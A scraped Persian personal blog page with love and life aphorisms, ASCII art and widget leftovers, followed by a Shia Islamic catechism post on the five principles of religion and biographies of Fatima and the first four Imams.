تبلیغات
فونت زیبا سازفونت زیبا ساز DoOoNyA - دین
درباره وبلاگ

فونت زیبا ساز



√ بِسمـ ا... اَلرحمنـ الرحیمـ

وَإِن یَڪَادُ الَّذِینَ ڪَفَرُوا لَیُزْلِقُونَڪَ

بأَبْصَارِهِمْ لَمَّا سَمِعُوا الذِّڪْر

وَیَقُولُونَ إِنَّهُ لَمَجْنُونٌ

وَمَا هُوَ إِلَّا ذِڪْرٌ لِّلْعَالَمِین.

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

سلام.خوش اومدین...
نظر یادتون نره درضمن باتبادل لینک هم موافقم...

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
صدای خنده خدا را میشنوی؟؟؟!!
آرزوهایت راشنیده و به آنچه محال میپنداری میخندد!!!!!

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
وقتی کسی بهت گفت از ته دل دوستت دارم.
مواظب باش چون هنوزجایی در بالای قلبش برای دیگری وجود دارد.

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
مــی دانـــی

اگـــر هنوز هم تورا آرزو می کنم

برای ِ بـی آرزو بودن ِ من نیستـــ !!

شــایـــــد

آرزویــی زیبـــاتــر از تـــ ــــو ســراغ ندارم ...!!

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

آنقدر به این روزگار بی اعتماد شده ام که میترسم هرگاه از شادی به هوا میپرم زمین را از زیر پایم بکشند.

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

آدم ها فراموش نمیکنند ! فقط
دیگر "ساکت"میشوند!هـمـیــن

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

دلگیر نباش!
دلت که گیر باشد رها نمیشوی...

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

به درختان جنگل گفتم:شما بااین عظمت چرا از تکه آهنی به نام تبر میرنجید؟
گفتند:رنجش ما از تبر نیست ار دسته ی آن است که از جنس خودمان است.

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

خدایا . . .
خواستم بگویم تنهایم
اما نگاه خندانت ، مرا شرمگین کرد
چه کسی بهتر از تــو ... !

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

از تصادف جان سالم به در برده بود و می گفت زندگی اش را مدیون ماشین مدل بالایش
است و خــــــــــــــــــــــــدا همچنان لبخند میزد. . . .

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
هر جا دلت شکست
خودت شکسته ها رو جمع کن !

تا هر ناکسی منت دست زخمیشو به رخت نکشه !!!!

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
کدام عاشقتر بودیم؟
من که
بخاطر عشق
دنیایم جهنم شد...!
... یا آدم که
بهشتش
دنیاشد...!

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
بــیـچــاره دلـم! آن قــدر سـاده اسـت كـه اگـر صـدای شـرشــر بـاران بـشـنــودخــیــس مـــی شــود.

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
بعضیا کاری باهات میکنن که یادآوری تمام لطف هایی که در حقشون کردی …
به شدت از خودت متنفرت میکنن !

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

وقتی یه بار ازدوست ضربه می خوری درست مثل این می مونه که با ماشین بهت زده و داغونت کرده ولی وقتی می بخشیش درست مثل این می مونه که بهش فرصت دادی تا دنده عقب بگیره و دوباره از روت رد بشه تا مطمئن بشه چیزی ازت نمونده .

*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
زندگــــــــے وزن نگاهے اســــــــت
که בر خاطــــ ـره ها مے ماند
شاید این حســـــرت بیهـــــــوده که بر בل בارے
شعلــــﮧ گرمے امیــــــــــد تو را، خواهـــــــــد کشت
زندگے בرکــــــــ همیـــــــــن اکنون است
زندگے شـ ــوق رسیدن به همــــان
فردایــــــــے است، که نخواهـــــــــد آمد
تو نه בر دیـــروزے، و نه בر فردایــــــے
ظرفــــــــــ امروز، پر از بوבن توســـت
شاید این خــــــــنده که امروز، בریغــ ـش کردے
آخرین فرصت همراهے با، امیــــــــــــد است
ــــــــــــــــــــــــــــــــــــــــــــــــــــــ
בﻧـﯿـﺎ ﺭﺍ ﻭﺍﺭﻭﻧـﻪ ﻣـے ﺧـﻮﺍﻫـﻢ…
ﺁבﻡ ﻫـﺎ ﺭﺍ..
اﺗـﻔـﺎﻕ ﻫـﺎ ﺭﺍ…
ﻧﺮﺳـﯿـבﻥ ﻫـﺎ…ﻧﺘـﻮﺍﻧـﺴـﺘـﻦ ﻫـﺎ…ﻧﺨـﻮﺍﺳـﺘـﻦ
ﻫـﺎ ﺭﺍ ﻧـﯿـﺰ…!
בﻟـﻢ ﻣـے ﺧـﻮﺍﻫـב…
ﺭﻭﯾـﺎﻫـﺎ ﺍﺯ ﺳـﺮ ﻭ ﮐـﻮﻝ ﻫـﻢ ﺑـﺎﻻ ﺑـﺮﻭﻧـב…
ﻣـﺮבﻣـﺎﻥ ﺑـﺨـﻨـבﻧـב ﺍﺯ ﺗـﻪ בﻝ…
ﻣـے ﺧـﻮﺍﻫـﻢ ﻫـﺮﮐـﺴـے בﺳـﺖ בﺭﺍﺯ ﮐـﻨـﺪ ﻭ…
ﺳـﺘـﺎﺭﻩ ﺧـﻮﺩﺵ ﺑـﭽـﯿـﻨـב ﺍﺯ ﺁﻥ ﺑـﺎﻻ…
ﻣـے ﺧـﻮﺍﻫـﻢ בﯾـﮕـﺮ ﺳـﺮ ﺑـﻪ ﺗـﻦ ﻫـﯿـﭻ ﻏـﺼّـﻪ ﺍے ﻧـﺒـﺎﺷـﺪ
ــــــــــــــــــــــــــــــــــــــــــــــــــــــ
کوچک باش و عاشق…
که عشق خوב مےداند آیین بزرگ کرבنت را…
بگذار عشق خاصیت تو باشد ، نه رابطﮧ ے خاص تو با کسے…
زندگے شگفت انگیز است اگر لبخند بزنی…
ــــــــــــــــــــــــــــــــــــــــــــــــــــــ

نگران فرבایت نباش، خـבاے בیروز و امروزت، فرבا هم هست...
خوشبختے نگاه خـבاست...

________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
________________@@@@@
__@@@@@@@@@@@@@@
__@@@@@@@@@@@@@@
___________________
_________@@@@@@@
_____@@@@@@@@@@@
___@@@@@______@@@@@
__@@@@@_________@@@@@
_@@@@@___________@@@@@
_@@@@@___________@@@@@
_@@@@@___________@@@@@
__@@@@@_________@@@@@
___@@@@@______@@@@@
______@@@@@@@@@@@
_________@@@@@@@
_____________________________
__@@@@@____________@@@@@
___@@@@@__________@@@@@
____@@@@@________@@@@@
_____@@@@@______@@@@@
______@@@@@____@@@@@
_______@@@@@__@@@@@
________@@@@@@@@@@
_________@@@@@@@@@
__________@@@@@@@@
___________@@@@@@@
____________@@@@@@
________________________
____@@@@@@@@@@@@@
____@@@@@@@@@@@@@
_________________@@@@@
_________________@@@@@
_________________@@@@@
____@@@@@@@@@@@@@
____@@@@@@@@@@@@@
_________________@@@@@
_________________@@@@@
_________________@@@@@
____@@@@@@@@@@@@@
____@@@@@@@@@@@@@

مدیر وبلاگ : Mojtaba mohamadi
موضوعات
نویسندگان
جستجو

آمار وبلاگ
کل بازدید :
بازدید امروز :
بازدید دیروز :
بازدید این ماه :
بازدید ماه قبل :
تعداد نویسندگان :
تعداد کل پست ها :
آخرین بازدید :
آخرین بروز رسانی :
فونت زیبا سازفونت زیبا سازفونت زیبا سازفونت زیبا سازفونت زیبا ساز
................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

سایت عاشقانه

کد کج شدن تصویر

98love

98love

عاشقانه

عاشقانه

عاشقانه

کد آیکون

کد آیکون

کد آیکون

کد آیکون

script type='text/javascript' src='http://pIChaK.NEt/upper/jquery.min.js' >



دریافت کد پرواز حباب ها
فونت زیبا سازفونت زیبا سازفونت زیبا سازفونت زیبا سازفونت زیبا ساز

icon-98love

icon-98love



icon-98love

DoOoNyA
زندگے בرک همان لبخندے است که به خوشبختے تو مے اندیشد....

اصول دین

اصول دین مقدس اسلام پنج است:

1 ـ توحید.

2 ـ عدل.

3 ـ نبوت.

4 ـ امامت.

5 ـ معاد.

1 ـ توحید

توحید آن است كه انسان بداند جهان را (خداى یكتا) آفریده و به آن هستى بخشیده و همه چیز در دست اوست بنا بر این آفرینش، روزى دادن، زنده نمودن، سلامتى، مرض... همه و همه به اراده اوست.

(إنما أمره إذا أراد شیئا أن یقول له كن فیكون)(1).

ترجمه: هرگاه خداوند چیزى را اراده كند انجام مى گیرد.

دلیل بر وجود خدا، آنچه در آسمان مى بینیم از خورشید و ماه و ستارگان درخشان، ابرها، بادها، باران و آنچه در زمین مشاهده مى كنیم از دریاها، جویبارها، میوه جات، درختان و معادن گرانبها طلا و نقره و زبرجد و اقسام پرندگان كه در هوا به پرواز در مى آیند و حیواناتى كه در آبها شناورند و حیوانات گوناگون كه در روى زمین هستند با صداها و اندازه هاى مختلف، و انسان این موجود شگفت انگیز آفرینش با حواس مختلفى كه دارد: چشم، گوش، زبان، درد، شادى، عصبانیت اندوه و مانند آن. همه اینها ما را به خدائى دانا و بزرگ راهنمائى مى كنند كه به او عقیده مندیم و او را پرستش مى نمائیم و از او یارى مى جوئیم و در هرحال به او توكل داریم:

خداوند داراى صفات بسیارى است:

مانند (علم) بدین معنى كه او همه چیز را از كوچك و بزرگ مى داند و از قلب همگى آگاهست.

و مانند (قدرت) یعنى: او بر هرچیزى توانا است، بر آفریدن، روزى دادن، میراندن، زنده كردن و غیر اینها.

و مانند (حیات) یعنى: او زنده اى است كه نخواهد مرد.

و مانند (اراده) یعنى: او خواستار كارهائیست كه در آن مصلحت است و هیچگاه كار زیان بخشى انجام نمى دهد.

و مانند (ادراك) یعنى: او همه چیز را مى بیند و همه چیز را مى شنود، گرچه آهسته باشد.

و مانند (قدمت) یعنى: او پیش از هرچیز بوده و همه چیز را آفریده و بعد از همه چیز خواهد بود.

و مانند (تكلم) یعنى: او با هریك از بندگان خالص خود و پیامبران و فرشتگانش كه خواسته باشد سخن مى گوید.

و مانند (صدق) یعنى: آنچه مى گوید راست است و از وعده خود تخلف نمى ورزد. اینها همه گذشته از اینكه آفریننده و روزى دهنده، و زنده كننده، و میراننده و بخشنده و مهربان و برتر، و شریف و كریم است، خداى بزرگ از نقص هم بركنار است، بنا بر این جسم نیست، مانند اجسام ما و از اجزاء مختلفه تركیب نیافته است. و دیدن او امكان پذیر نیست نه در دنیا و نه در آخرت.

و عوارض بر او راه نمى یابد، بنا بر این مریض نخواهد شد، گرسنه نمى شود، خوابش نمى برد و پیر هم نمى گردد، در كارهاى خود شریك نداشته، یكه و تنها است، و صفات خدا عین ذاتش مى باشد: پس: از ابتداى عالم بوده و قدرت داشته است، مانند ما نیست كه نخست نادان بودیم و سپس دانا شدیم، قدرت نداشتیم و آنگاه مقتدر گشتیم. بى نیاز است یعنى: نیازى به مشورت و همكارى ندارد و به وزیر و لشكرى محتاج نیست.

2 ـ عدل

بدین معنى كه: دادگر است و به كسى ستم نمى نماید و كارى را بدون حكمت انجام نمى دهد، بنا براین هرچه را مى آفریند و روزى مى دهد و آنچه را مى دهد و باز مى ستاند از روى مصلحت است اگرچه ما نمى دانیم. همانطورى كه اگر دكترى به بیمار خود داروئى داد مى دانیم كه: در آن مصلحتى است گرچه آن مصلحت بر ما پوشیده باشد بنا بر این اگر دیدیم: خداوند متعال كسى را ثروتمند و دیگرى را تهیدست نموده، و یا به یكى شرافت بخشیده و به دیگرى نبخشیده، یا یكى را مریض كرده و دیگرى سالم است، و از این قبیل كارها... باید عقیده مند باشیم كه: همه اینها از روى حكمت و مصلحت است گرچه ما به حكمت آن پى نبریم.

چنانچه در روایت آمده كه حضرت موسى(ع) از خداوند درخواست كرد: برخى از دادگریهاى خود را كه در ظاهر مشكل مى آید باو نشان دهد، خداوند باو فرمود كه: به صحرا رود و بر سر چشمه آبى در كمین بنشیند تا جریانى را مشاهده كند. موسى (ع) بدانجا رفت و دید: اسب سوارى در سر چشمه پیاده شد و پس از رفع احتیاج از آنجا دور شد ولى هنگام رفتن فراموش كرد كیسه پول خود را همراه ببرد. پس از چندى كودكى آمد كیسه را برداشت و رفت سپس پیر مرد كورى از راه رسید و مى خواست وضو بگیرد كه دراین هنگام مرد سوار برگشت و چون كیسه پول خود را ندید پیر مرد نابینا را بسرقت پولش متهم ساخت، كشمكش بین این دو در گرفت تا اینكه بالاخره اسب سوار كور را كشت. خداوند به موسى وحى فرمود كه: اسب سوار مال پدر كودك را دزدیده بود، مال را بورثه پدر: (همان كودك) برگرداندیم و كور پدر اسب سوار را كشته بود كه اینك به كیفر خود رسید. این بود نمونه اى از عدل و دادگسترى خداوند، گرچه از نظر كوته بین ما درست نیست.

3 ـ نبوت

پیامبر به كسى مى گویند كه: خداوند متعال به او وحى مى فرماید و پیامبران بر دو دسته اند:

1 ـ پیامبر مرسل: كسى را گویند كه از طرف خدا برانگیخته شده تا مردم را از تاریكى به روشنائى و از باطل بسوى حق و از خرافات به حقیقت و از نادانى بسوى دانش راهنمائى كند.

2 ـ پیامبر غیر مرسل: كسى است كه فقط براى خودش بر او وحى مى شود و در رسانیدن احكام به مردم مأموریتى ندارد. و تعداد پیامبران یكصد و بیست و چهار هزار است (124000) و پیامبران مرسل چند نفرى بیش نیستند، اول پیمبران (آدم) علیه السلام و آخر آنان (محمد) صلى الله علیه و آله وسلم است.

پیامبران مرسل نیز دو دسته اند:

دسته اول: الوالعزم و آنان كسانى هستند كه از جانب خدا براى شرق و غرب عالم برانگیخته شده اند و اینان پنج نفرند:

1 ـ ابراهیم(ع). 2 ـ نوح (ع). 3 ـ موسى(ع). 4 ـ عیسى(ع). 5 ـ محمد (ص).

دسته دوم ـ غیر الوالعزم و اینها بقیه پیامبران هستند.

یهودیان از پیروان موسى علیه السلام و مسیحیان از پیروان عیسى علیه السلام، و مسلمانان پیروان محمد صلى الله علیه و آله هستند. ولى دین اسلام مكمل ادیان گذشته است، پس بر همه مردم جهان لازم است كه از تعلیمات عالیه اسلام پیروى كنند همانطور كه خداى متعال مى فرماید.

(ومن یبتغ غیر الإسلام دیناً فلن یقبل منه و هو فى الآخرة من الخاسرین)(2).

ترجمه: هركس غیر از اسلام دینى اختیار نماید از او پذیرفته نمى شود و در آخرت از زیان كاران است.

اسلام تنها شریعت الهى است كه تا روز بازپسین برجا خواهد ماند و هیچگاه نسخ نمى شود.

تا كنون دانستید كه محمد(ص) آخرین پیامبر الهى است و دینش اسلام است، كه ناسخ همه ادیان و تا روز قیامت باقى است، اینك برخى از حالات آن حضرت را یاد آور مىشویم:

محمد(ص) فرزند عبدالله، مادرش آمنه دختر وهب است كه در روز جمعه هفدهم ربیع الاول پس از طلوع فجر عام الفیل در مكه و در زمان سلطنت پادشاه دادگر، (انوشیروان) بدنیا آمده است و در روز بیست و هفتم ماه رجب پس از گذشت چهل سال از عمر شریفش در كوه حرا از جانب خداوند به پیامبرى برانگیخته شد و جبرائیل (فرشته وحى) فرود آمد و اولین سوره قرآن را بر او نازل كرد (اقرا باسم ربك الذى خلق...)(3).

سپس براى رسانیدن پیامهاى الهى قیام كرد و در مراكز عمومى و میدانها مىگفت:

(ایها الناس قولوا لا إله الا الله تفلحوا).

ترجمه: (اى مردم. بگوئید بجز خداى یكتا خدائى نیست تا رستگار شوید) ولى چون اهالى مكه مشرك بودند به استهزاء حضرتش پرداختند، مى خندیدند و آزارش مى دادند تا آنجا كه فرمود:

(ما او ذى نبى مثل ما او ذیت).

ترجمه: هیچ پیمبرى مانند من آزار ندید و در اول جز چند نفرى انگشت شمار به او نگرویدند، اول كسى كه ایمان آورد امام امیرالمؤمنین على بن ابى طالب علیه السلام بود و پس از او همسر پیامبر حضرت خدیجه علیها السلام و سپس دسته اى دیگر ایمان آوردند و چون مشركین به حضرت بسیار ستم كردند، از مكه به مدینه هجرت فرمود، و این هجرت ابتداى تاریخ مسلمانان شد، در مدینه تعداد مسلمانان افزوده شد و دولت اسلامى روز به روز، رو به پیشرفت و قدرت مى رفت تا آنجا كه بر تمدنهاى جهان و ادیان سالفه برترى یافت. در مدتى كه پیامبر اسلام(ص) در مدینه منوره بودند جنگهائى براى مسلمانان پیش آمد كه همگى آنها بر اثر دشمنیهاى مشركین بود.

پیغمبر (ص) در تمام جنگها روش صلح و مسالمت را از دست نمى داد و لذا تعداد كشتگان از دو طرف، مسلمان و غیر مسلمان به شهادت تاریخ در همه جنگها (كه بیش از هشتاد جنگ بود) از یك هزار و چهارصد نفر تجاوز ننموده است.

از زمان بعثت پیغمبر اكرم(ص) تا هنگامى كه رحلت فرمود قرآن كم كم و بمناسبتهائى بر آن حضرت نازل مى گردید تا این كتاب بزرگ آسمانى در مدت بیست و سه سال تكمیل شد. پیغمبر اكرم(ص) دین و دنیاى مردم را منظم و مرتب مى ساخت، طرز داد و ستد و رویه معاشرت و اجراى سیاست را تشریع مى فرمود و پس از آنكه اسلام تكمیل شد این آیه نازل گردید:

(الیوم اكملت لكم دینكم و اتممت علیكم نعمتى و رضیت لكم الاسلام دیناً)(4).

ترجمه: امروز دین شما را كامل گردانیدم و نعمت خود را بر شما تمام نمودم و دین اسلام را براى شما بهترین دین قرار دادم.

پس از رنجها و سختیهاى فراوان رفته رفته آثار كسالت در چهره پیامبر اسلام نمودار گردید و روز به روز شدت مى یافت تا اینكه در روز بیست و هشتم ماه صفر سال یازدهم هجرت جهان را بدرود گفت وطبق وصیت آن حضرت، على(ع) براى مراسم غسل و كفن و دفن و نماز خواندن اقدام كرد و در مدینه در جاى كنونى به خاك سپرده شد پیامبر اسلام (ص) در تمام احوال خود بارزترین نمونه براى امانت و اخلاص، راستگوئى و اخلاق نیك، دانش و بردبارى، گذشت و بخشش، كرم و شجاعت، تقوى و پرهیزكارى، زهد و فضیلت، پاكدامنى و دادگرى، فروتنى و جهاد بشمار مى رفت. بدن شریفش در اعتدال و تناسب بهترین بدنها و صورت مباركش در نورانیت و زیبائى همچون ماه شب چهاردهم درخشان بود.

خلاصه در او همه برتریها جمع و داراى شرافت و بزرگى بسیارى بود محور دانش و دادگسترى و فضیلت و مدار دین و دنیا بود، تا بحال مانندش نیامده و تا ابد نخواهد آمد.

این بود پیامبر مسلمانان، و این بود قانون گذار اسلام كه دینش بهترین ادیان و كتابش بهترین كتابها است (كه باطل در آن راه نداشته و نخواهد داشت و از جانب پروردگار جهان نازل گردیده است).

4 ـ امامت

خداوند همانگونه كه پیامبران را تعیین مى فرماید جانشینان پیامبران را نیز تعیین مى فرماید و دوازده نفر جانشین براى پیامبر ما محمد(ص) برگزیده است كه آنان همان دوازده امامى هستند كه نزد مسلمانان مشهور، و عبارتند از:

1 ـ امام امیرالمؤمنین على بن ابى طالب(ع) پسر عموى پیغمبر ما محمد(ص) و شوهر دختر آن حضرت فاطمه سلام الله علیها.

2 ـ امام مجتبى: حسن بن على علیهما السلام كه مادرش فاطمه (ع) دختر محمد (ص) است.

3 ـ امام شهید: حسین بن على علیهما السلام كه مادرش فاطمه (ع) دختر محمد(ص) است.

4 ـ امام زین العابدین: على بن حسین علیهما السلام.

5 ـ امام باقر: محمد بن على علیهما السلام.

6 ـ امام صادق: جعفر بن محمد علیهما السلام.

7 ـ امام كاظم: موسى بن جعفر علیهما السلام.

8 ـ امام رضا: على بن موسى علیهما السلام.

9 ـ امام جواد: محمد بن على علیهما السلام.

10 ـ امام هادى: على بن محمد علیهما السلام.

11 ـ امام عسكرى: حسن بن على علیهما السلام.

12 ـ امام مهدى: محمد بن حسن قائم آل محمد علیهما السلام كه در انتظارش بسر مى بریم.

این امامان دوازده گانه حجت خدا بر مردم اند و همگى فرزندان رسول خدا(ص) مى باشند و در دانش و بردبارى، فضیلت و دادگرى، پاكدامنى و اخلاق نیكو و همه صفات مانند پیامبر اسلامند، مگر مى شود داراى این صفات برجسته نباشند؟ زیرا اینان جانشینان پیامبر، و پیشوایان مردم و راهبران اسلام و حجت خدا بر مردم جهانند. اینك حالات هریك را بطور اختصار بیان مى داریم و پیش از امامان به شرح حال دختر پیغمبر(ص)، و همسر على(ع)، مادر امامان فاطمه زهرا(ع) مى پردازیم:

دختر پیامبر (ص):

فاطمه زهرا، پدرش فرستاده خدا: محمد بن عبدالله(ص) و مادرش: بانوى بزرگ اسلام، خدیجه (ام المؤمنین) است، شوهرش بزرگترین جانشین پیغمبر، امیرالمؤمنین(ع) على است، و فرزندانش امامان دوازده گانه(ع) مىباشند، در روز بیستم ماه جمادى الثانى و چهل و پنجمین سال تولد پیغمبر(ص) بدنیا آمده و در روز سه شنبه سوم ماه جمادى الثانى یازده سال پس از هجرت پیامبر (ص) در سن هیجده سالگى دار فانى را بدرود گفته است. مراسم غسل و كفن و دفن او را امیرالمؤمنین(ع) بعهده گرفت و طبق وصیت آن حضرت، جنازه او را در شهر مدینه مخفیانه و در جاى پنهانى به خاك سپرد. این بانوى پرارج، در عبادت خدا و پرهیزكارى و فضیلت آئینه تمام نماى پدرش رسول خدا(ص) بود و خداوند در شأن او آیاتى چند از قرآن كریم نازل فرموده است، پیامبر اسلام به او (سیده نساء العالمین) یعنى: بزرگترین بانوى جهان لقب داد و او را بسیار دوست مى داشت، تا آنجا كه هرگاه بر رسول خدا وارد مى گشت، حضرت به احترامش از جاى بر مى خاست و به او خوش آمد مى گفت، و او را در كنار خود مى نشانید و گاهى هم دست او را مى بوسید و همیشه مى فرمود: خداوندا با خشنودى فاطمه خوشنود خواهد شد و با رنجش فاطمه غضبناك مى گردد.

و براى امیرالمؤمنین(ع) چند پسر بنام: امام حسن و امام حسین و محسن(ع) آورد ولى حضرت محسن به جهت آزارى كه بر او شد، سقط گردید. او دو دختر هم بنام: زینب و ام كلثوم(ع) آورد.

امام اول:

امام على امیرالمؤمنین(ع) فرزند ابوطالب، مادرش فاطمه بنت اسد، پسر عموى پیغمبر(ص) و شوهر دخترش و پدر امامان (ع) مى باشد. پس از پیامبر، پیشواى مردم جهان و امیر مؤمنان است.

در روز جمعه سیزدهم رجب سى سال پس از تولد پیغمبر(ص) در شهر مكه و در خانه كعبه قبله گاه مسلمانان بدنیا آمد، و در شب جمعه نوزدهم ماه رمضان در مسجد كوفه در محراب عبادت، با شمشیر ابن ملجم (لعین) ضربت خورد و پس از سه روز به درجه رفیعه شهادت نائل و بسوى پروردگار عالم شتافت در حالى كه سن شریفش شصت و سه سال بود. امام حسن و امام حسین(ع) مراسم غسل و كفن و دفن حضرت را عهده دار شدند و جنازه مباركش را در نجف اشرف و در همین بارگاه كنونى بخاك سپردند.

این راد مرد فضیلت داراى برتریهاى بیشمارى است. او اولین كسى بود كه به پیامبر(ص) گروید و در تمام عمرش به هیچ بتى سجده نگذارده بود، در تمام جنگها پیروزى نصیب او بود، و هیچگاه از میدان جنگ نگریخت و در قضاوت آنچنان ماهر بود كه پیامبر (ص) فرمود:

(اقضاكم على)

ترجمه: بهترین قاضى در میان شما على است. و در دانش آنطور بود كه پیغمبر (ص) فرمود:

(انا مدینة العلم و على بابها)

ترجمه: منم شهر علم و علیم در است. (درست این سخن گفت پیغمبر است) و در حقانیت چنان بود كه پیغمبر فرمود:

(على مع الحق والحق مع على)

ترجمه: حق با على است و على با حق است. در باره رعیت دادگر بود و از بیت المال به همگى یكسان مى داد، در ثروت زودگذر دنیا پرهیزكار بود، هرگاه به سركشى خزانه مسلمانان مى رفت به طلاها و نقره ها مى نگریست و مى فرمود:

اى زردیها و سفیدیها بروید غیر مرا فریب دهید (كه من فریب شما را نخواهم خورد) و سپس آنها را میان درماندگان تقسیم مى كرد، به بیچارگان رحم نموده و با فقرا نشست و برخاست مىنمود، نیاز حاجتمندان را بر مى آورد و برحق حكم مى كرد و به عدالت قضاوت مى فرمود، خلاصه او در همگى صفات مانند پیامبر(ص) بود، تا آنجا كه در آیه مباهله خداوند اورا خود پیغمبر دانسته است(5).

امام دوم:

امام حسن فرزند على بن ابیطالب(ع)، مادرش فاطمه زهرا (ع) دخت پیامبر ما محمد(ص) است، نوه رسول خدا(ص) و دومین جانشین آن حضرت، و پس ازامیرالمؤمنین او پیشواى مردم است.

در روز سه شنبه نیمه ماه رمضان سال دوم هجرت در مدینه منوره بدنیا آمد، و در روز پنجشنبه هفتم ماه صفر سال چهل و نه هجرى بوسیله زهر شهید شد، برادرش حسین(ع) مراسم غسل و كفن و دفن او را انجام و در مزار بقیع، همین جایگاه كنونى به خاكش سپرد. عبادتكارترین و داناترین مردم عصر خود بود و از همه كس بیشتر به پیامبر شباهت داشت و در زمان خود سخاوتمندترین خاندان نبوت و بردبارترین مردم بود.

آنقدر بخشش داشت كه: هنگامى یكى از كنیزان آن حضرت یك دسته ریحان باو تقدیم مى دارد باو مى گوید: تو را براى خدا آزاد ساختم و سپس مى فرماید: خداوند ما را این طور تربیت داده است:

(فإذا حییتم بتحیة فحیوا بأحسن منها)(6).

یعنى: هرگاه براى شما هدیه اى آوردند بهتر از آنرا به آنان اهداء كنید. و در باره بردبارى آنحضرت گفته اند:

روزى یك نفر شامى آن حضرت را دید و دهان به ناسزاگوئى گشود. حضرت جوابش نداد، تا حرف خود را تمام كرد سپس بطرف او رفت و بر او سلام كرده با صورتى خندان گفت: اى آقا به گمانم شما غریب هستید؟ و شاید اشتباه مى كنید؟! اگر از ما رضایت بخواهى راضى مى شویم و اگر چیزى بخواهى به تو خواهیم داد، و اگر راهنمائى بخواهى دریغ نداریم و اگر از ما سرپرستى خواستى مى پذیریم، اگر گرسنه باشى سیرت مى نمائیم، اگر برهنه باشى لباست مى پوشانیم و اگر نیازمندى بى نیازت مى كنیم و اگر از جائى رانده شده اى پناهت مى دهیم، و اگر كارى دارى انجام مى دهیم، مرد شامى چون كلمات حضرت امام حسن راشنید بگریه در آمد (و فهمید كه دستگاه تبلیغاتى و دروغ پرداز معاویه چقدر او را به اشتباه انداخته است؟!) و گفت گواهى مى دهم كه توئى حجت خدا در روى زمین و خدا بهتر مى داند كه: رسالت خود را در چه خاندانى قرار دهد: (الله اعلم حیث یجعل رسالته).

امام سوم:

امام حسین فرزند على بن ابى طالب(ع)، مادرش فاطمه زهرا (ع) دختر حضرت محمد(ص) است نوه رسول خدا و سومین جانشین او است، و پس از برادرش حسن(ع) پیشواى مردم است.

در روز سوم ماه شعبان یكسال پس از برادرش امام حسن(ع) در مدینه منوره بدنیا آمد و در روز شنبه دهم محرم سال شصت و یك هجرى، روز واقعه معروف عاشورا لب تشنه و مظلوم شهید شد.

پس از سه روز از شهادتش حضرت امام زین العابدین(ع) فرزندش جنازه مبارك او را در همین بارگاه فعلى در كربلا به خاك سپرد. فضائل حضرتش بیش از آنست كه بیان شود، او جگر گوشه رسول خدا بود و پیغمبر مى فرمودند:

(حسین منى و انا من حسین)

یعنى حسین از من است و من از حسینم. و در باره او و برادرش حضرت امام حسن فرمود:

(هما ریحانتاى فى الدنیا)

یعنى حسن و حسین جگرگوشه گان منند در دنیا و باز فرمودند:

(الحسن والحسین سیدا شباب اهل الجنة)

یعنى: حسن و حسین دو بزرگ جوانان اهل بهشتند، نیز فرموده اند:

(الحسن والحسین امامان قاما او قعدا)

یعنى: حسن و حسین دو امامند، قیام كنند و یا قیام نكنند، حسین(ع) دانشمندترین، و عبادت كارترین مردم و آئینه تمام نماى پدرش امیرالمؤمنین(ع) بود. بیشتر شبها خودش شخصا انبان هائى پر از خوراك براى مستمندان بدوش مى كشید كه پس از شهادتش اثر این دوش كشیها در شانه مباركش دیده شد، بسیار كریم و بزرگ و بردبار بود كه مى گویند: عرب بادیه نشینى ضمن چند فرد شعر از آن حضرت درخواست بخشش نمود و گفت:

لم یخب الآن من رجاك و من          حرّك من دون بابك الحلقة

هركس به تو امید داشته نومید نگشته و هر آنكس كه در خانه ات را كوبیده دست خالى برنگشته است.

انت جواد و انت معتمد          ابوك قدكان قاتل الفسقة

تو سخاوتمند و پناه بى پناهانى، پدرت نابود كننده فاسقین بود

لولا الذى كان من اوائلكم          كانت علینا الجحیم منطبقة

اگر راهنمائیهاى پدر و جدت نبود پیكر ما را دوزخ فرا مى گرفت.

سپس حسین(ع) چهار هزار دینار باو داد و از او پوزش خواسته چنین فرمود:

خذها فإنى إلیك معتذر          واعلم بأنى علیك ذو شفقة

بگیر این مبلغ را من از تو پوزش مى خواهم و بدان كه نسبت بتو مهربانم.

لوكان فى سیرنا الغداة عصى           امست سمانا علیك مندفقة

اگر در آینده چیزى بدست ما آمد ثروت سرشارى بر تو ریزش خواهد نمود.

لكن ریب الزمان ذو غیر          والكف منى قلیلة النفقة

اما چكنم كه گردش زمانه به دلخواهم نیست؟! و اینك در دست من ثروت فراوانى نمى باشد.

آرى چنین كسى بود كه با نهضت خونین خود اسلام و دین جدش بلكه جهانى را براى ابد زنده كرد. نهضت حسینى نهضتى بود كه در جهان سابقه نداشت. حسین (ع) پس از برادرش برترین مردم بود كه خون خود را براى آبیارى درخت اسلام اهدا كرد.

امام چهارم:

امام على زین العابدین فرزند امام حسین(ع)، مادرش دختر یزدگرد (پادشاه ایران) است. در روز پانزدهم جمادى الاولى سال سى و شش هجرى در روزى كه جدش امیرالمؤمنین (ع) بصره را فتح كرد در مدینه منوره به دنیا آمد و در روز شنبه بیست و پنجم محرم سال نود و پنج هجرى با زهر كشنده اى مسموم و شهید گردید.

عمر شریفش پنجاه و نه سال بود، و در شهر مدینه، قبرستان بقیع به خاك سپرده شد.

در دانش و فضیلت و پرهیزكارى و دادرسى بى پناهان در زمان خود بى نظیر بود و علماى ما روایات بى شمار و پندها و دعاهاى بسیار زیادى از آن حضرت نقل كرده اند.

